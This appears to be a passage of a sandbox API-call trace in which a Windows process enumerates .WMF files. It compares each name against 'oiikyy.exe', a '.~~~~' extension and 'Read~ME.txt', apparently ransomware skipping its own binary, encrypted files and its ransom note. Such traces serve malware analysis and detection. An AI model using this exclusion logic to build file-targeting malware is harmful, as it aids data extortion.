	[0085.047] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187849.WMF", cAlternateFileName="")) returned 1
	[0085.047] lstrcmpiW (lpString1="J0187849.WMF", lpString2="Windows") returned -1
	[0085.047] lstrcmpW (lpString1="J0187849.WMF", lpString2="oiikyy.exe") returned -1
	[0085.047] StrStrW (lpFirst="J0187849.WMF", lpSrch=".~~~~") returned 0x0
	[0085.047] lstrcmpW (lpString1="J0187849.WMF", lpString2="Read~ME.txt") returned -1
	[0085.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.047] GetCurrentThreadId () returned 0x618
	[0085.047] RtlWakeConditionVariable () returned 0x365f48
	[0085.047] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x221c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187851.WMF", cAlternateFileName="")) returned 1
	[0085.047] lstrcmpiW (lpString1="J0187851.WMF", lpString2="Windows") returned -1
	[0085.047] lstrcmpW (lpString1="J0187851.WMF", lpString2="oiikyy.exe") returned -1
	[0085.047] StrStrW (lpFirst="J0187851.WMF", lpSrch=".~~~~") returned 0x0
	[0085.047] lstrcmpW (lpString1="J0187851.WMF", lpString2="Read~ME.txt") returned -1
	[0085.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.047] GetCurrentThreadId () returned 0x618
	[0085.047] RtlWakeConditionVariable () returned 0x365f48
	[0085.047] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187859.WMF", cAlternateFileName="")) returned 1
	[0085.047] lstrcmpiW (lpString1="J0187859.WMF", lpString2="Windows") returned -1
	[0085.047] lstrcmpW (lpString1="J0187859.WMF", lpString2="oiikyy.exe") returned -1
	[0085.047] StrStrW (lpFirst="J0187859.WMF", lpSrch=".~~~~") returned 0x0
	[0085.047] lstrcmpW (lpString1="J0187859.WMF", lpString2="Read~ME.txt") returned -1
	[0085.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.048] GetCurrentThreadId () returned 0x618
	[0085.048] RtlWakeConditionVariable () returned 0x365f48
	[0085.048] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187861.WMF", cAlternateFileName="")) returned 1
	[0085.048] lstrcmpiW (lpString1="J0187861.WMF", lpString2="Windows") returned -1
	[0085.048] lstrcmpW (lpString1="J0187861.WMF", lpString2="oiikyy.exe") returned -1
	[0085.048] StrStrW (lpFirst="J0187861.WMF", lpSrch=".~~~~") returned 0x0
	[0085.048] lstrcmpW (lpString1="J0187861.WMF", lpString2="Read~ME.txt") returned -1
	[0085.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.048] GetCurrentThreadId () returned 0x618
	[0085.048] RtlWakeConditionVariable () returned 0x365f48
	[0085.048] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187863.WMF", cAlternateFileName="")) returned 1
	[0085.048] lstrcmpiW (lpString1="J0187863.WMF", lpString2="Windows") returned -1
	[0085.048] lstrcmpW (lpString1="J0187863.WMF", lpString2="oiikyy.exe") returned -1
	[0085.048] StrStrW (lpFirst="J0187863.WMF", lpSrch=".~~~~") returned 0x0
	[0085.048] lstrcmpW (lpString1="J0187863.WMF", lpString2="Read~ME.txt") returned -1
	[0085.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.048] GetCurrentThreadId () returned 0x618
	[0085.048] RtlWakeConditionVariable () returned 0x365f48
	[0085.048] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1258, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187881.WMF", cAlternateFileName="")) returned 1
	[0085.048] lstrcmpiW (lpString1="J0187881.WMF", lpString2="Windows") returned -1
	[0085.048] lstrcmpW (lpString1="J0187881.WMF", lpString2="oiikyy.exe") returned -1
	[0085.048] StrStrW (lpFirst="J0187881.WMF", lpSrch=".~~~~") returned 0x0
	[0085.048] lstrcmpW (lpString1="J0187881.WMF", lpString2="Read~ME.txt") returned -1
	[0085.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.049] GetCurrentThreadId () returned 0x618
	[0085.049] RtlWakeConditionVariable () returned 0x365f48
	[0085.049] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x834, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187883.WMF", cAlternateFileName="")) returned 1
	[0085.299] lstrcmpiW (lpString1="J0187883.WMF", lpString2="Windows") returned -1
	[0085.299] lstrcmpW (lpString1="J0187883.WMF", lpString2="oiikyy.exe") returned -1
	[0085.299] StrStrW (lpFirst="J0187883.WMF", lpSrch=".~~~~") returned 0x0
	[0085.299] lstrcmpW (lpString1="J0187883.WMF", lpString2="Read~ME.txt") returned -1
	[0085.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.299] GetCurrentThreadId () returned 0x618
	[0085.299] RtlWakeConditionVariable () returned 0x365f48
	[0085.299] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187893.WMF", cAlternateFileName="")) returned 1
	[0085.299] lstrcmpiW (lpString1="J0187893.WMF", lpString2="Windows") returned -1
	[0085.299] lstrcmpW (lpString1="J0187893.WMF", lpString2="oiikyy.exe") returned -1
	[0085.299] StrStrW (lpFirst="J0187893.WMF", lpSrch=".~~~~") returned 0x0
	[0085.299] lstrcmpW (lpString1="J0187893.WMF", lpString2="Read~ME.txt") returned -1
	[0085.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.299] GetCurrentThreadId () returned 0x618
	[0085.299] RtlWakeConditionVariable () returned 0x365f48
	[0085.299] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187895.WMF", cAlternateFileName="")) returned 1
	[0085.299] lstrcmpiW (lpString1="J0187895.WMF", lpString2="Windows") returned -1
	[0085.299] lstrcmpW (lpString1="J0187895.WMF", lpString2="oiikyy.exe") returned -1
	[0085.300] StrStrW (lpFirst="J0187895.WMF", lpSrch=".~~~~") returned 0x0
	[0085.300] lstrcmpW (lpString1="J0187895.WMF", lpString2="Read~ME.txt") returned -1
	[0085.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.300] GetCurrentThreadId () returned 0x618
	[0085.300] RtlWakeConditionVariable () returned 0x365f48
	[0085.300] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187921.WMF", cAlternateFileName="")) returned 1
	[0085.300] lstrcmpiW (lpString1="J0187921.WMF", lpString2="Windows") returned -1
	[0085.300] lstrcmpW (lpString1="J0187921.WMF", lpString2="oiikyy.exe") returned -1
	[0085.300] StrStrW (lpFirst="J0187921.WMF", lpSrch=".~~~~") returned 0x0
	[0085.300] lstrcmpW (lpString1="J0187921.WMF", lpString2="Read~ME.txt") returned -1
	[0085.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.300] GetCurrentThreadId () returned 0x618
	[0085.300] RtlWakeConditionVariable () returned 0x365f48
	[0085.300] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188511.WMF", cAlternateFileName="")) returned 1
	[0085.300] lstrcmpiW (lpString1="J0188511.WMF", lpString2="Windows") returned -1
	[0085.300] lstrcmpW (lpString1="J0188511.WMF", lpString2="oiikyy.exe") returned -1
	[0085.300] StrStrW (lpFirst="J0188511.WMF", lpSrch=".~~~~") returned 0x0
	[0085.301] lstrcmpW (lpString1="J0188511.WMF", lpString2="Read~ME.txt") returned -1
	[0085.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.301] GetCurrentThreadId () returned 0x618
	[0085.301] RtlWakeConditionVariable () returned 0x365f48
	[0085.301] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3004, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188513.WMF", cAlternateFileName="")) returned 1
	[0085.301] lstrcmpiW (lpString1="J0188513.WMF", lpString2="Windows") returned -1
	[0085.301] lstrcmpW (lpString1="J0188513.WMF", lpString2="oiikyy.exe") returned -1
	[0085.301] StrStrW (lpFirst="J0188513.WMF", lpSrch=".~~~~") returned 0x0
	[0085.301] lstrcmpW (lpString1="J0188513.WMF", lpString2="Read~ME.txt") returned -1
	[0085.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.301] GetCurrentThreadId () returned 0x618
	[0085.301] RtlWakeConditionVariable () returned 0x365f48
	[0085.301] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188519.WMF", cAlternateFileName="")) returned 1
	[0085.301] lstrcmpiW (lpString1="J0188519.WMF", lpString2="Windows") returned -1
	[0085.301] lstrcmpW (lpString1="J0188519.WMF", lpString2="oiikyy.exe") returned -1
	[0085.301] StrStrW (lpFirst="J0188519.WMF", lpSrch=".~~~~") returned 0x0
	[0085.301] lstrcmpW (lpString1="J0188519.WMF", lpString2="Read~ME.txt") returned -1
	[0085.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.301] GetCurrentThreadId () returned 0x618
	[0085.301] RtlWakeConditionVariable () returned 0x365f48
	[0085.301] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188587.WMF", cAlternateFileName="")) returned 1
	[0085.301] lstrcmpiW (lpString1="J0188587.WMF", lpString2="Windows") returned -1
	[0085.301] lstrcmpW (lpString1="J0188587.WMF", lpString2="oiikyy.exe") returned -1
	[0085.301] StrStrW (lpFirst="J0188587.WMF", lpSrch=".~~~~") returned 0x0
	[0085.301] lstrcmpW (lpString1="J0188587.WMF", lpString2="Read~ME.txt") returned -1
	[0085.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.301] GetCurrentThreadId () returned 0x618
	[0085.301] RtlWakeConditionVariable () returned 0x365f48
	[0085.301] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188667.WMF", cAlternateFileName="")) returned 1
	[0085.301] lstrcmpiW (lpString1="J0188667.WMF", lpString2="Windows") returned -1
	[0085.302] lstrcmpW (lpString1="J0188667.WMF", lpString2="oiikyy.exe") returned -1
	[0085.302] StrStrW (lpFirst="J0188667.WMF", lpSrch=".~~~~") returned 0x0
	[0085.302] lstrcmpW (lpString1="J0188667.WMF", lpString2="Read~ME.txt") returned -1
	[0085.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.302] GetCurrentThreadId () returned 0x618
	[0085.302] RtlWakeConditionVariable () returned 0x365f48
	[0085.302] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188669.WMF", cAlternateFileName="")) returned 1
	[0085.302] lstrcmpiW (lpString1="J0188669.WMF", lpString2="Windows") returned -1
	[0085.302] lstrcmpW (lpString1="J0188669.WMF", lpString2="oiikyy.exe") returned -1
	[0085.302] StrStrW (lpFirst="J0188669.WMF", lpSrch=".~~~~") returned 0x0
	[0085.302] lstrcmpW (lpString1="J0188669.WMF", lpString2="Read~ME.txt") returned -1
	[0085.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.302] GetCurrentThreadId () returned 0x618
	[0085.302] RtlWakeConditionVariable () returned 0x365f48
	[0085.302] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x336a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188679.WMF", cAlternateFileName="")) returned 1
	[0085.302] lstrcmpiW (lpString1="J0188679.WMF", lpString2="Windows") returned -1
	[0085.302] lstrcmpW (lpString1="J0188679.WMF", lpString2="oiikyy.exe") returned -1
	[0085.302] StrStrW (lpFirst="J0188679.WMF", lpSrch=".~~~~") returned 0x0
	[0085.302] lstrcmpW (lpString1="J0188679.WMF", lpString2="Read~ME.txt") returned -1
	[0085.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.302] GetCurrentThreadId () returned 0x618
	[0085.302] RtlWakeConditionVariable () returned 0x365f48
	[0085.302] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195248.WMF", cAlternateFileName="")) returned 1
	[0085.302] lstrcmpiW (lpString1="J0195248.WMF", lpString2="Windows") returned -1
	[0085.303] lstrcmpW (lpString1="J0195248.WMF", lpString2="oiikyy.exe") returned -1
	[0085.303] StrStrW (lpFirst="J0195248.WMF", lpSrch=".~~~~") returned 0x0
	[0085.303] lstrcmpW (lpString1="J0195248.WMF", lpString2="Read~ME.txt") returned -1
	[0085.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.303] GetCurrentThreadId () returned 0x618
	[0085.304] RtlWakeConditionVariable () returned 0x365f48
	[0085.304] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81dcbf00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81dcbf00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195254.WMF", cAlternateFileName="")) returned 1
	[0085.304] lstrcmpiW (lpString1="J0195254.WMF", lpString2="Windows") returned -1
	[0085.304] lstrcmpW (lpString1="J0195254.WMF", lpString2="oiikyy.exe") returned -1
	[0085.304] StrStrW (lpFirst="J0195254.WMF", lpSrch=".~~~~") returned 0x0
	[0085.304] lstrcmpW (lpString1="J0195254.WMF", lpString2="Read~ME.txt") returned -1
	[0085.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.304] GetCurrentThreadId () returned 0x618
	[0085.304] RtlWakeConditionVariable () returned 0x365f48
	[0085.304] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85704600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85704600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x207a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195260.WMF", cAlternateFileName="")) returned 1
	[0085.304] lstrcmpiW (lpString1="J0195260.WMF", lpString2="Windows") returned -1
	[0085.304] lstrcmpW (lpString1="J0195260.WMF", lpString2="oiikyy.exe") returned -1
	[0085.304] StrStrW (lpFirst="J0195260.WMF", lpSrch=".~~~~") returned 0x0
	[0085.305] lstrcmpW (lpString1="J0195260.WMF", lpString2="Read~ME.txt") returned -1
	[0085.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.305] GetCurrentThreadId () returned 0x618
	[0085.305] RtlWakeConditionVariable () returned 0x365f48
	[0085.305] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98831600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98831600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x72f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195320.WMF", cAlternateFileName="")) returned 1
	[0085.305] lstrcmpiW (lpString1="J0195320.WMF", lpString2="Windows") returned -1
	[0085.305] lstrcmpW (lpString1="J0195320.WMF", lpString2="oiikyy.exe") returned -1
	[0085.305] StrStrW (lpFirst="J0195320.WMF", lpSrch=".~~~~") returned 0x0
	[0085.305] lstrcmpW (lpString1="J0195320.WMF", lpString2="Read~ME.txt") returned -1
	[0085.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.305] GetCurrentThreadId () returned 0x618
	[0085.305] RtlWakeConditionVariable () returned 0x365f48
	[0085.305] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9338c00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9338c00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x5350, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195342.WMF", cAlternateFileName="")) returned 1
	[0085.305] lstrcmpiW (lpString1="J0195342.WMF", lpString2="Windows") returned -1
	[0085.306] lstrcmpW (lpString1="J0195342.WMF", lpString2="oiikyy.exe") returned -1
	[0085.306] StrStrW (lpFirst="J0195342.WMF", lpSrch=".~~~~") returned 0x0
	[0085.306] lstrcmpW (lpString1="J0195342.WMF", lpString2="Read~ME.txt") returned -1
	[0085.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.306] GetCurrentThreadId () returned 0x618
	[0085.306] RtlWakeConditionVariable () returned 0x365f48
	[0085.306] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195428.WMF", cAlternateFileName="")) returned 1
	[0085.306] lstrcmpiW (lpString1="J0195428.WMF", lpString2="Windows") returned -1
	[0085.306] lstrcmpW (lpString1="J0195428.WMF", lpString2="oiikyy.exe") returned -1
	[0085.306] StrStrW (lpFirst="J0195428.WMF", lpSrch=".~~~~") returned 0x0
	[0085.306] lstrcmpW (lpString1="J0195428.WMF", lpString2="Read~ME.txt") returned -1
	[0085.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.306] GetCurrentThreadId () returned 0x618
	[0085.306] RtlWakeConditionVariable () returned 0x365f48
	[0085.306] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195772.WMF", cAlternateFileName="")) returned 1
	[0085.306] lstrcmpiW (lpString1="J0195772.WMF", lpString2="Windows") returned -1
	[0085.306] lstrcmpW (lpString1="J0195772.WMF", lpString2="oiikyy.exe") returned -1
	[0085.306] StrStrW (lpFirst="J0195772.WMF", lpSrch=".~~~~") returned 0x0
	[0085.306] lstrcmpW (lpString1="J0195772.WMF", lpString2="Read~ME.txt") returned -1
	[0085.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.306] GetCurrentThreadId () returned 0x618
	[0085.306] RtlWakeConditionVariable () returned 0x365f48
	[0085.306] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195788.WMF", cAlternateFileName="")) returned 1
	[0085.306] lstrcmpiW (lpString1="J0195788.WMF", lpString2="Windows") returned -1
	[0085.306] lstrcmpW (lpString1="J0195788.WMF", lpString2="oiikyy.exe") returned -1
